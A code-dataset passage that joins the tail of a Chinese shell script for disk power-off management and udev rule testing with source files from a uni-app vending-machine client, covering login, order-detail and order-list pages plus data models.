type_desc="固态硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：$( [ "$disk_rotational" = "0" ] && echo "无旋转部件" || echo "型号判定" )"
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
disk_type="hdd"
hdd_state_desc=""
is_active=0
if command -v hdparm &>/dev/null; then
hdparm_output=$(hdparm -C "$disk_dev_path" 2>/dev/null | grep "drive state is:")
if echo "$hdparm_output" | grep -qiE "active|idle"; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
power_state_file="/sys/block/${disk_dev}/power/state"
if [ -f "$power_state_file" ]; then
power_state=$(cat "$power_state_file")
if [ "$power_state" = "0" ] || [ "$power_state" = "active" ] || [ "$power_state" = "idle" ]; then
is_active=1
hdd_state_desc="（未休眠）"
else
hdd_state_desc="（已休眠，跳过）"
fi
else
hdd_state_desc="（状态未知，默认已休眠，跳过）"
fi
fi
if [ "$is_active" -eq 1 ]; then
type_desc="机械硬盘（容量：${disk_size_raw}，型号：${disk_model}，可移除：$( [ "$disk_rm" -eq 1 ] && echo "是" || echo "否" )，判定依据：有旋转部件）${hdd_state_desc}"
echo "✅ 符合条件：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|$disk_type|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
else
echo "❌ 排除设备：/dev/${disk_dev} - 机械硬盘（容量：${disk_size_raw}，型号：${disk_model}）${hdd_state_desc}"
fi
fi
done < <(find /sys/class/scsi_disk/ -maxdepth 1 -type l)
echo "---------------------------------------------------"
# 筛选最佳测试设备
TEST_DEVICE=""
TEST_DEVICE_INFO=""
candidate_count=${#CANDIDATE_DEVICES[@]}
if [ "$candidate_count" -gt 0 ]; then
echo -e "\n正在从 ${candidate_count} 个符合条件的设备中选择测试目标..."
# 1. 优先挑选U盘
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "u盘" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
# 2. 若无U盘，挑选固态硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "ssd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
# 3. 若无SSD，挑选未休眠的机械硬盘
if [ -z "$TEST_DEVICE" ]; then
for i in "${!CANDIDATE_DEVICES[@]}"; do
dev_info="${CANDIDATE_DEVICES[$i]}"
IFS='|' read -r dev size size_raw rm type dev_name model rotational <<< "$dev_info"
if [ "$type" = "hdd" ]; then
TEST_DEVICE="$dev"
TEST_DEVICE_INFO="${CANDIDATE_DESC[$i]}"
break
fi
done
fi
fi
# 筛选完毕执行模拟触发
if [ -n "$TEST_DEVICE" ]; then
echo -e "\n${GREEN}✅ 已选择测试设备：${TEST_DEVICE_INFO}${NC}"
dev_name=$(basename "$TEST_DEVICE")
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
echo " 向设备 [scsi_disk/$dev_name] 发送add事件模拟触发，..."
echo " 请等待日志验证约35秒..."
if sudo udevadm trigger \
--subsystem-match=scsi_disk \
--sysname-match="$dev_name" \
--action=add; then
sleep 35
# 对比触发前的日志位置检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 设备触发成功，已生成自动触发日志${NC}"
echo -e "${GREEN}✅ udev规则有效性验证成功，请在储存空间1/_HDDlog目录查看完整日志，${NC}"
echo -e "${GREEN}✅ 初次部署完成日志有两次执行记录，第一次是验证开机自启，第二次是验证udev规则模拟新插入磁盘触发${NC}"
else
echo -e " ${YELLOW}⚠ 设备触发成功，但未检测到新日志（可能udev规则无法触发systemd服务）${NC}"
fi
else
echo -e " ${RED}✗ 设备触发失败${NC}"
fi
else
echo -e "\n${YELLOW}⚠ 未检测到符合条件的scsi_disk设备（已排除mmc设备、系统盘和休眠硬盘），已跳过模拟测试，请按照后面提示的步骤手动测试${NC}"
# 手动验证udev步骤提示
echo -e "${YELLOW}如需验证udev自动触发功能，请按以下步骤：${NC}"
echo "1. 新插入能被系统识别为SCSI的磁盘（U盘可识别）；"
echo "2. 等待40秒（服务执行延迟）；"
echo "3. 查看日志：（飞牛系统的储存空间1通常挂载为/vol1/1000，可以在文件管理，储存空间1/_HDDlog目录查看日志文件），终端查看日志指令cat $LOG_FILE"
echo "4. 若日志中出现【自动触发-业务脚本启动】的最新时间记录，说明udev触发功能正常，能自动配置新插入的磁盘。"
fi
echo -e "\n${BOLD}---------------------------------------------------${NC}"
sleep 2
# 部署完成提示
echo -e "\n${GREEN}【✅ 部署已完成】已启用：关机磁盘安全断电管理功能 ${NC}"| tee -a "$LOG_FILE"
echo -e "【手动操作提示】" | tee -a "$LOG_FILE"
echo "1. 若自动化失败，手动执行指令代替：sudo $SERVICE_SCRIPT" | tee -a "$LOG_FILE"
echo "2. 查看完整配置日志：cat $LOG_FILE" | tee -a "$LOG_FILE"
echo "3. 卸载脚本：重新执行部署脚本并选择选项2" | tee -a "$LOG_FILE"
echo -e "【日志提示】本日志自动保留最新500行，老旧日志自动清理。如需手动清理可删除日志文件：$LOG_FILE" | tee -a "$LOG_FILE"
echo -e "\n${BOLD}---------------------------------------------------${NC}"
|
2301_82242223/2
|
manage_shutdown.sh
|
Shell
|
unknown
| 26,469
|
<script>
export default {
onLaunch: function() {
console.log('App Launch')
},
onShow: function() {
console.log('App Show')
},
onHide: function() {
console.log('App Hide')
}
}
</script>
<style>
/*每个页面公共css */
</style>
|
2301_82115348/veddingmachine
|
App.vue
|
Vue
|
unknown
| 254
|
function formatMsg(tag, msg) {
const time = new Date().toLocaleTimeString();
return `${tag} ${time} ${msg}`;
}
export default {
info(tag, msg) {
console.log(`[INFO] ${formatMsg(tag, msg)}`);
},
error(tag, msg) {
console.error(`[ERROR] ${formatMsg(tag, msg)}`);
}
};
|
2301_82115348/veddingmachine
|
components/log/log.js
|
JavaScript
|
unknown
| 276
|
import log from "../log/log";
let tag = "login-manager";
var token = "";
export default {
setToken: function(newToken) {
log.info(tag, `setToken:${newToken}`)
token = newToken
},
isLoggedIn: function() {
let isLoggedIn = (token && token.length > 0);
log.info(tag, `isLoggedIn:${isLoggedIn}`);
return isLoggedIn;
},
getToken: function() {
return token;
}
}
|
2301_82115348/veddingmachine
|
components/login-manager/login-manager.js
|
JavaScript
|
unknown
| 375
|
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<script>
var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') ||
CSS.supports('top: constant(a)'))
document.write(
'<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' +
(coverSupport ? ', viewport-fit=cover' : '') + '" />')
</script>
<title></title>
<!--preload-links-->
<!--app-context-->
</head>
<body>
<div id="app"><!--app-html--></div>
<script type="module" src="/main.js"></script>
</body>
</html>
|
2301_82115348/veddingmachine
|
index.html
|
HTML
|
unknown
| 675
|
import App from './App'
// #ifndef VUE3
import Vue from 'vue'
import './uni.promisify.adaptor'
Vue.config.productionTip = false
App.mpType = 'app'
const app = new Vue({
...App
})
app.$mount()
// #endif
// #ifdef VUE3
import { createSSRApp } from 'vue'
import log from "./components/log/log.js"
import constant from './models/constant'
import loginManager from './components/login-manager/login-manager'
export function createApp() {
const app = createSSRApp(App)
app.config.globalProperties.$log = log
app.config.globalProperties.constant = constant
app.config.globalProperties.loginManager = loginManager
return {
app
}
}
// #endif
|
2301_82115348/veddingmachine
|
main.js
|
JavaScript
|
unknown
| 653
|
export default {
BASE_URL: "https://vending.neumooc.com/prod-api",
MACHINE_NO: "c1d6b822ce5f436f818a391be6faf386",
}
|
2301_82115348/veddingmachine
|
models/constant.js
|
JavaScript
|
unknown
| 118
|
export default class Order {
constructor(orderNo, createTime, productName, productCover, orderStatus, payAmount) {
this.orderNo = orderNo;
this.createTime = createTime;
this.productName = productName;
this.productCover = productCover;
this.orderStatus = orderStatus;
this.payAmount = payAmount;
}
static parseFromJsonString(jsonString) {
const jsonObject = JSON.parse(jsonString);
return new Order(
jsonObject.orderNo,
jsonObject.createTime,
jsonObject.productName,
jsonObject.productCover,
jsonObject.orderStatus,
jsonObject.payAmount
);
}
}
|
2301_82115348/veddingmachine
|
models/order.js
|
JavaScript
|
unknown
| 583
|
export default class Product {
constructor(id, name, price, imageUrl, stock) {
this.id = id;
this.name = name;
this.price = price;
this.imageUrl = imageUrl;
this.stock = stock;
}
static parseFromJsonString(jsonString) {
let jsonObject = JSON.parse(jsonString);
return new Product(
jsonObject.id,
jsonObject.name,
jsonObject.price,
jsonObject.imageUrl,
jsonObject.stock
);
}
}
|
2301_82115348/veddingmachine
|
models/product.js
|
JavaScript
|
unknown
| 436
|
<template>
<view class="content">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
</view>
</template>
<script>
export default {
data() {
return {
title: 'Hello'
}
},
onLoad() {
},
methods: {
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
</style>
|
2301_82115348/veddingmachine
|
pages/index/index.vue
|
Vue
|
unknown
| 694
|
<template>
<view class="page-container">
<!-- 卡片容器 -->
<view class="card">
<view class="title">售货机系统</view>
<view class="form">
<!-- 用户名 -->
<view class="input-item">
<input v-model="userName" type="text" placeholder="请输入用户名" class="input" />
</view>
<!-- 密码 -->
<view class="input-item password-item">
<input v-model="password" :type="showPassword ? 'text' : 'password'" placeholder="请输入密码"
class="input" @focus="showPasswordToggle = true" @blur="handlePasswordBlur" />
<text class="password-toggle" v-show="showPasswordToggle" @mousedown="handleToggleMouseDown"
@click="togglePassword">
{{ showPassword ? '👁️' : '🔒' }}
</text>
</view>
<!-- 错误提示 -->
<text class="error" v-if="error">{{ error }}</text>
<!-- 登录按钮 -->
<button class="button login-btn" :loading="loading" @click="onLoginButtonClicked">
登录
</button>
<!-- 注册跳转 -->
<button class="button register-btn" @click="onRegisterButtonClicked">
新用户？注册
</button>
</view>
</view>
</view>
</template>
<script>
let tag = "login";
export default {
data() {
return {
userName: "",
password: "",
error: "",
loading: false,
showPassword: false,
showPasswordToggle: false,
blurTimer: null
}
},
methods: {
onRegisterButtonClicked() {
this.$log.info(tag, "onRegisterButtonClicked");
uni.navigateTo({
url: '/pages/register/register'
})
},
onLoginButtonClicked() {
this.$log.info(tag, "onLoginButtonClicked");
if (this.userName != "" && this.password != "") {
this.$log.info(tag, "not null check pass")
} else {
this.error = '用户名和密码不可以为空';
this.$log.error(tag, "用户名和密码不可以为空")
return
}
this.loading = true;
uni.request({
url: `${this.constant.BASE_URL}/api/customer/login`,
method: 'POST',
data: {
"password": this.password,
"username": this.userName
},
success: (res) => {
this.loading = false;
this.$log.info(tag, "success");
this.$log.info(tag, JSON.stringify(res.data));
if (res.data.code == 200) {
this.loginManager.setToken(res.data.token)
uni.showToast({
icon: 'success',
title: "登录成功"
})
uni.navigateTo({
url: "/pages/product-list/product-list"
})
} else {
this.error = res.data.msg || '登录失败';
uni.showToast({
icon: 'none',
title: res.data.msg || '登录失败'
})
}
},
fail: (err) => {
this.loading = false;
this.$log.error(tag, err.errMsg);
this.error = '网络错误，请稍后重试';
uni.showToast({
icon: 'none',
title: '网络错误，请稍后重试'
})
}
})
},
togglePassword() {
this.showPassword = !this.showPassword;
},
handleToggleMouseDown(e) {
e.preventDefault();
},
handlePasswordBlur() {
this.blurTimer = setTimeout(() => {
this.showPasswordToggle = false;
}, 150);
}
},
beforeDestroy() {
if (this.blurTimer) {
clearTimeout(this.blurTimer);
}
}
}
</script>
<style scoped>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
.page-container {
padding: 60rpx 20rpx;
min-height: 100vh;
background-color: #f0f2f5;
display: flex;
justify-content: center;
align-items: flex-start;
}
.card {
width: 100%;
max-width: 500rpx;
background-color: #fff;
border-radius: 20rpx;
padding: 40rpx 20rpx;
box-shadow: 0 4rpx 16rpx rgba(0, 0, 0, 0.08);
}
.title {
text-align: center;
font-size: 38rpx;
font-weight: 600;
color: #1677ff;
margin-bottom: 40rpx;
}
.form {
width: 100%;
}
.input-item {
margin-bottom: 40rpx;
position: relative;
}
.password-item {
display: flex;
align-items: center;
}
.input {
width: 100%;
height: 80rpx;
font-size: 28rpx;
color: #333;
padding: 18rpx 20rpx;
padding-right: 80rpx;
border: 1px solid #e0e0e0;
border-radius: 10rpx;
background-color: #fff;
transition: border-color 0.3s ease;
}
.input:focus {
border-color: #1677ff;
outline: none;
box-shadow: 0 0 0 4rpx rgba(22, 119, 255, 0.1);
}
.password-toggle {
position: absolute;
right: 0;
color: #1677ff;
font-size: 36rpx;
padding: 20rpx;
cursor: pointer;
user-select: none;
}
.error {
display: block;
color: #ff4d4f;
font-size: 26rpx;
margin: -20rpx 0 40rpx;
height: 30rpx;
}
.button {
width: 100%;
font-size: 32rpx;
font-weight: 500;
border-radius: 10rpx;
margin-bottom: 15rpx;
transition: all 0.2s ease;
height: 90rpx;
display: flex;
justify-content: center;
align-items: center;
border: none;
}
.login-btn {
background-color: #1677ff;
color: #fff;
box-shadow: 0 2rpx 8rpx rgba(22, 119, 255, 0.2);
}
.login-btn:active {
background-color: #0066cc;
transform: scale(0.98);
box-shadow: 0 1rpx 4rpx rgba(22, 119, 255, 0.15);
}
.register-btn {
background-color: #fff;
color: #1677ff;
border: 1px solid #1677ff;
box-shadow: none;
}
.register-btn:active {
background-color: rgba(22, 119, 255, 0.05);
}
</style>
|
2301_82115348/veddingmachine
|
pages/login/login.vue
|
Vue
|
unknown
| 5,313
|
<template>
<view class="container">
<view class="product-row">
<image :src="productCover" mode="aspectFit" class="product-img"></image>
<view class="product-info">
<text class="product-name">1件{{productName}}</text>
</view>
</view>
<view class="order-item">
<text class="label">订单编号</text>
<text class="value">{{orderNo}}</text>
</view>
<view class="order-item">
<text class="label">订单总价</text>
<text class="price">{{productPrice}}元</text>
</view>
<view class="order-item">
<text class="label">下单时间</text>
<text class="value">{{createTime}}</text>
</view>
<view class="order-item">
<text class="label">支付时间</text>
<text class="value">{{payTime}}</text>
</view>
<!-- 已出货 -->
<view v-if="outStatus" class="status-container">
<text class="completed-text">已完成</text>
</view>
<view v-else-if="payStatus" class="status-container">
<text class="pay-code">出货码: {{payCode}}</text>
<button class="delivery-button" @click="onDeliveryButtonClicked()">取货</button>
</view>
<view v-else class="status-container">
<button class="pay-button">支付</button>
</view>
</view>
</template>
<script>
let tag = "order"
export default {
onLoad(para) {
this.$log.info(tag, "onLoad")
this.$log.info(tag, JSON.stringify(para))
// 检查是通过 orderNo 还是 orderInfo 传递
if (para.orderInfo) {
// 从订单列表传递的完整订单信息
try {
const orderInfo = JSON.parse(decodeURIComponent(para.orderInfo));
console.log('接收到的订单信息:', orderInfo);
this.initWithOrderInfo(orderInfo);
} catch (e) {
console.error('解析订单信息失败:', e);
// 如果解析失败，回退到原来的方式
if (para.orderNo) {
this.orderNo = para.orderNo
this.fetchOrderDetail(this.orderNo)
}
}
} else if (para.orderNo) {
// 传统的通过 orderNo 查询
this.orderNo = para.orderNo
this.fetchOrderDetail(this.orderNo)
}
},
data() {
return {
orderNo: "",
productName: "",
productCover: "",
productPrice: "",
createTime: "",
payTime: "",
orderStatus: "",
payStatus: "",
payCode: "",
outStatus: false,
}
},
methods: {
// 使用订单信息初始化页面
initWithOrderInfo(orderInfo) {
console.log('初始化订单信息:', orderInfo);
// 设置页面数据
this.orderNo = orderInfo.orderNo || orderInfo.id;
this.productName = orderInfo.productName || '';
this.productCover = orderInfo.productCover || '';
this.productPrice = orderInfo.productPrice || orderInfo.payAmount || '';
this.createTime = orderInfo.createTime || '';
this.payTime = orderInfo.payTime || '';
this.orderStatus = orderInfo.orderStatus || '';
this.payStatus = orderInfo.payStatus || '';
this.payCode = orderInfo.payCode || '';
// 设置支付状态和出货状态
if (this.payStatus === "已支付" || this.orderStatus === "已支付") {
this.payStatus = true;
} else {
this.payStatus = false;
}
if (this.orderStatus === "已出货") {
this.outStatus = true;
} else {
this.outStatus = false;
}
console.log('初始化后的数据:', {
orderNo: this.orderNo,
productName: this.productName,
productCover: this.productCover,
productPrice: this.productPrice,
orderStatus: this.orderStatus,
payStatus: this.payStatus,
outStatus: this.outStatus
});
},
onDeliveryButtonClicked() {
this.$log.info(tag, "onDeliveryButtonClicked")
this.deliverOrder(this.orderNo)
},
deliverOrder(orderNo) {
this.$log.info(tag, "deliverOrder")
uni.request({
url: `${this.constant.BASE_URL}/api/order/remotePick`,
method: 'GET',
header: {
'Authorization': this.loginManager.getToken(),
},
data: {
"orderNo": orderNo
},
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
if (res.data.code === 200) {
// 取货成功后更新状态
this.outStatus = true;
this.orderStatus = "已出货";
uni.showToast({
title: '取货成功',
icon: 'success'
});
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
uni.showToast({
title: '取货失败',
icon: 'error'
});
}
})
},
isOut() {
return this.orderStatus == "已出货"
},
isPaid() {
return this.payStatus == "已支付" || this.payStatus === true
},
fetchOrderDetail(orderNo) {
this.$log.info(tag, `fetchOrderDetail orderNo: ${orderNo}`)
uni.request({
url: `${this.constant.BASE_URL}/api/order/${orderNo}`,
method: 'POST',
header: {
'Authorization': this.loginManager.getToken(),
},
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
if (res.data.code == 200) {
let order = res.data.data
this.productCover = `${this.constant.BASE_URL}${order.productCover}`
this.productName = order.productName
this.productPrice = order.productPrice
this.createTime = order.createTime
this.orderNo = order.orderNo
this.payTime = order.payTime
this.orderStatus = order.orderStatus
this.payStatus = order.payStatus
this.payCode = order.payCode
if (order.payStatus == "已支付") {
this.payStatus = true
} else {
this.payStatus = false
}
if (order.orderStatus == "已出货") {
this.outStatus = true
} else {
this.outStatus = false
}
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
uni.showToast({
title: '加载订单详情失败',
icon: 'error'
});
}
})
}
}
}
</script>
<style>
.container {
padding: 30rpx;
background-color: #fff;
min-height: 100vh;
}
.product-row {
display: flex;
align-items: center;
margin-bottom: 40rpx;
padding: 20rpx;
background-color: #f9f9f9;
border-radius: 20rpx;
}
.product-img {
width: 200rpx;
height: 400rpx;
margin-right: 30rpx;
border-radius: 16rpx;
object-fit: cover;
box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08);
}
.product-info {
flex: 1;
display: flex;
justify-content: flex-end;
align-items: center;
height: 100%;
}
.product-name {
font-size: 36rpx;
color: #666;
text-align: right;
padding: 10rpx 0;
}
.order-item {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 30rpx;
padding-bottom: 20rpx;
border-bottom: 1rpx solid #f0f0f0;
}
.order-item:last-child {
border-bottom: none;
}
.label {
font-size: 32rpx;
color: #333;
font-weight: 500;
}
.value {
font-size: 32rpx;
color: #666;
}
.price {
font-size: 34rpx;
color: #007aff;
font-weight: 600;
}
.status-container {
margin-top: 60rpx;
padding: 40rpx;
background-color: #f8f9fa;
border-radius: 20rpx;
text-align: center;
box-shadow: 0 2rpx 10rpx rgba(0, 0, 0, 0.05);
}
.completed-text {
font-size: 38rpx;
color: #007aff;
font-weight: 600;
padding: 20rpx 0;
display: inline-block;
}
.pay-code {
font-size: 34rpx;
color: #007aff;
font-weight: 600;
margin-bottom: 30rpx;
display: block;
letter-spacing: 2rpx;
padding: 15rpx 0;
background-color: rgba(0, 122, 255, 0.05);
border-radius: 10rpx;
}
.pay-button {
width: 240rpx;
height: 90rpx;
background: linear-gradient(135deg, #007aff 0%, #0066cc 100%);
color: white;
border-radius: 45rpx;
font-size: 34rpx;
font-weight: 500;
box-shadow: 0 4rpx 12rpx rgba(0, 122, 255, 0.2);
transition: all 0.2s ease;
}
.pay-button:active {
transform: scale(0.96);
box-shadow: 0 2rpx 6rpx rgba(0, 122, 255, 0.15);
}
.delivery-button {
width: 240rpx;
height: 90rpx;
background: linear-gradient(135deg, #007aff 0%, #0066cc 100%);
color: white;
border-radius: 45rpx;
font-size: 34rpx;
font-weight: 500;
box-shadow: 0 4rpx 12rpx rgba(0, 122, 255, 0.2);
transition: all 0.2s ease;
}
.delivery-button:active {
transform: scale(0.96);
box-shadow: 0 2rpx 6rpx rgba(0, 122, 255, 0.15);
}
</style>
|
2301_82115348/veddingmachine
|
pages/order/order.vue
|
Vue
|
unknown
| 8,347
|
<template>
<view class="page-container">
<!-- 状态切换栏 -->
<view class="status-tabs" v-if="statusList.length > 0">
<scroll-view class="tab-scroll" scroll-x="true" show-scrollbar="false" scroll-with-animation>
<view class="tab-content">
<view v-for="(status, index) in statusList" :key="index" class="tab-item"
:class="{'tab-active': currentStatus === status.value}" @click="switchStatus(status.value)">
<text class="tab-text">{{status.label}}</text>
<text class="tab-count"
v-if="status.count > 0">{{status.count > 99 ? '99+' : status.count}}</text>
</view>
</view>
</scroll-view>
</view>
<!-- 订单列表 -->
<view v-if="filteredOrders.length > 0" class="order-list">
<view v-for="(order, index) in filteredOrders" :key="index" class="order-container"
@click="onOrderItemClicked(order.orderNo)">
<view class="order-header">
<text class="order-no">订单号: {{order.orderNo}}</text>
<text class="status-badge" :class="getStatusClass(order.orderStatus)">{{order.orderStatus}}</text>
</view>
<view class="product-row">
<image :src="order.productCover" mode="aspectFit" class="product-cover"></image>
<view class="product-info">
<text class="product-name">{{order.productName}}</text>
<view class="product-spec" v-if="order.specification">规格: {{order.specification}}</view>
<view class="price-row">
<text class="quantity">x{{order.quantity || 1}}</text>
<text class="pay-amount">¥{{order.payAmount}}</text>
</view>
</view>
</view>
<view class="order-footer">
<text class="order-time">{{formatTime(order.createTime)}}</text>
<view class="order-actions">
<button class="btn secondary" v-if="order.orderStatus === '待付款'"
@click.stop="cancelOrder(order.orderNo)">
取消订单
</button>
<button class="btn primary" v-if="order.orderStatus === '待付款'"
@click.stop="payOrder(order.orderNo)">
立即支付
</button>
<button class="btn secondary" v-if="order.orderStatus === '待收货'"
@click.stop="confirmReceipt(order.orderNo)">
确认收货
</button>
</view>
</view>
</view>
</view>
<!-- 空状态 -->
<view v-else class="empty-state">
<image src="/static/empty-order.png" class="empty-image"></image>
<text class="empty-text">{{getEmptyText()}}</text>
</view>
</view>
</template>
<script>
import Order from '../../models/order'
export default {
onLoad() {
this.fetchOrderList()
},
data() {
return {
allOrders: [],
filteredOrders: [],
currentStatus: 'all',
statusList: []
}
},
methods: {
onOrderItemClicked(orderNo) {
uni.navigateTo({
url: `/pages/order/order?orderNo=${orderNo}`
})
},
switchStatus(status) {
this.currentStatus = status
this.filterOrders()
},
getStatusClass(status) {
const statusMap = {
'待付款': 'pending',
'待发货': 'toship',
'待收货': 'shipped',
'已完成': 'completed',
'已取消': 'cancelled',
'退款中': 'refund',
'已退款': 'refunded'
}
return statusMap[status] || 'default'
},
formatTime(time) {
if (!time) return ''
if (typeof time === 'number') {
const date = new Date(time)
const now = new Date()
const diff = now - date
const days = Math.floor(diff / (1000 * 60 * 60 * 24))
if (days === 0) {
return `今天 ${date.getHours().toString().padStart(2, '0')}:${date.getMinutes().toString().padStart(2, '0')}`
} else if (days === 1) {
return `昨天 ${date.getHours().toString().padStart(2, '0')}:${date.getMinutes().toString().padStart(2, '0')}`
} else if (days < 7) {
return `${days}天前`
} else {
return `${date.getMonth() + 1}月${date.getDate()}日`
}
}
return time
},
generateStatusList(orders) {
const statusCount = {}
orders.forEach(order => {
statusCount[order.orderStatus] = (statusCount[order.orderStatus] || 0) + 1
})
const statusList = [{
label: '全部',
value: 'all',
count: orders.length
}]
Object.keys(statusCount).forEach(status => {
statusList.push({
label: status,
value: status,
count: statusCount[status]
})
})
this.statusList = statusList
},
filterOrders() {
if (this.currentStatus === 'all') {
this.filteredOrders = [...this.allOrders]
} else {
this.filteredOrders = this.allOrders.filter(order => order.orderStatus === this.currentStatus)
}
},
parseFromJsonArray(jsonArray) {
let orders = []
for (let i = 0; i < jsonArray.length; i++) {
let jsonObject = jsonArray[i]
let order = new Order(
jsonObject.orderNo,
jsonObject.createTime,
jsonObject.productName,
`${this.constant.BASE_URL}${jsonObject.productCover}`,
jsonObject.orderStatus,
jsonObject.payAmount
)
order.quantity = jsonObject.quantity || 1
order.specification = jsonObject.specification
orders.push(order)
}
orders.sort((a, b) => new Date(b.createTime) - new Date(a.createTime))
return orders
},
getEmptyText() {
if (this.currentStatus === 'all') return '暂无订单'
const currentStatusItem = this.statusList.find(item => item.value === this.currentStatus)
return `暂无${currentStatusItem?.label || ''}订单`
},
cancelOrder(orderNo) {
uni.showModal({
title: '确认取消',
content: '确定要取消这个订单吗？',
success: (res) => {
if (res.confirm) {
uni.showToast({
title: '订单已取消',
icon: 'success'
})
this.fetchOrderList()
}
}
})
},
payOrder(orderNo) {
uni.showToast({
title: '跳转支付...',
icon: 'none'
})
},
confirmReceipt(orderNo) {
uni.showModal({
title: '确认收货',
content: '请确认您已收到商品',
success: (res) => {
if (res.confirm) {
uni.showToast({
title: '确认收货成功',
icon: 'success'
})
this.fetchOrderList()
}
}
})
},
fetchOrderList() {
uni.showLoading({
title: '加载中...'
})
uni.request({
url: `${this.constant.BASE_URL}/api/order/list`,
method: 'GET',
header: {
'Authorization': this.loginManager.getToken()
},
success: (res) => {
uni.hideLoading()
if (res.data.code == 200) {
this.allOrders = this.parseFromJsonArray(res.data.rows)
this.generateStatusList(this.allOrders)
this.filterOrders()
} else {
uni.showToast({
title: res.data.message || '加载失败',
icon: 'none'
})
}
},
fail: (err) => {
uni.hideLoading()
uni.showToast({
title: '网络错误',
icon: 'none'
})
}
})
}
}
}
</script>
<style>
.page-container {
display: flex;
flex-direction: column;
height: 100vh;
background-color: #f5f5f5;
}
.status-tabs {
background: #fff;
padding: 20rpx 0;
border-bottom: 1rpx solid #f0f0f0;
position: sticky;
top: 0;
z-index: 999;
height: 100rpx;
}
.tab-scroll {
white-space: nowrap;
width: 100%;
height: 115%;
}
.tab-content {
display: inline-flex;
align-items: center;
height: 100%;
padding: 0 20rpx;
}
.tab-item {
display: inline-flex;
align-items: center;
padding: 16rpx 32rpx;
margin: 0 10rpx;
border-radius: 40rpx;
background: #f8f8f8;
position: relative;
flex-shrink: 0;
height: 60rpx;
}
.tab-active {
background: #007AFF;
}
.tab-text {
font-size: 28rpx;
color: #333;
}
.tab-active .tab-text {
color: #fff;
}
.tab-count {
position: absolute;
top: -8rpx;
right: -8rpx;
background: #ff3b30;
color: white;
border-radius: 20rpx;
padding: 4rpx 10rpx;
font-size: 20rpx;
min-width: 24rpx;
text-align: center;
transform: scale(0.9);
}
.order-list {
flex: 1;
padding: 20rpx;
}
.order-container {
background: #fff;
margin-bottom: 20rpx;
padding: 30rpx;
border-radius: 16rpx;
box-shadow: 0 4rpx 20rpx rgba(0, 0, 0, 0.04);
}
.order-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20rpx;
}
.order-no {
color: #999;
font-size: 24rpx;
}
.product-row {
display: flex;
margin-bottom: 20rpx;
}
.product-cover {
width: 160rpx;
height: 160rpx;
border-radius: 10rpx;
flex-shrink: 0;
}
.product-info {
flex: 1;
margin-left: 20rpx;
display: flex;
flex-direction: column;
justify-content: space-between;
}
.product-name {
color: #333;
font-size: 32rpx;
line-height: 1.4;
display: -webkit-box;
-webkit-box-orient: vertical;
-webkit-line-clamp: 2;
overflow: hidden;
}
.product-spec {
color: #999;
font-size: 24rpx;
margin: 8rpx 0;
}
.price-row {
display: flex;
justify-content: space-between;
align-items: center;
}
.quantity {
color: #999;
font-size: 28rpx;
}
.pay-amount {
color: #ff5000;
font-weight: bold;
font-size: 36rpx;
}
.order-footer {
display: flex;
justify-content: space-between;
align-items: center;
}
.order-time {
color: #999;
font-size: 24rpx;
}
.order-actions {
display: flex;
gap: 16rpx;
}
.btn {
padding: 12rpx 24rpx;
border-radius: 20rpx;
font-size: 24rpx;
border: 1rpx solid;
background: white;
}
.primary {
background: #007AFF;
color: white;
border-color: #007AFF;
}
.secondary {
color: #666;
border-color: #ddd;
}
.status-badge {
padding: 8rpx 20rpx;
border-radius: 20rpx;
font-size: 24rpx;
font-weight: 500;
}
.pending {
background: #fff2e8;
color: #ff6a00;
border: 1rpx solid #ffd8bf;
}
.toship {
background: #e6f7ff;
color: #1890ff;
border: 1rpx solid #bae7ff;
}
.shipped {
background: #f6ffed;
color: #52c41a;
border: 1rpx solid #b7eb8f;
}
.completed {
background: #f9f0ff;
color: #722ed1;
border: 1rpx solid #d3adf7;
}
.cancelled {
background: #f5f5f5;
color: #8c8c8c;
border: 1rpx solid #d9d9d9;
}
.refund {
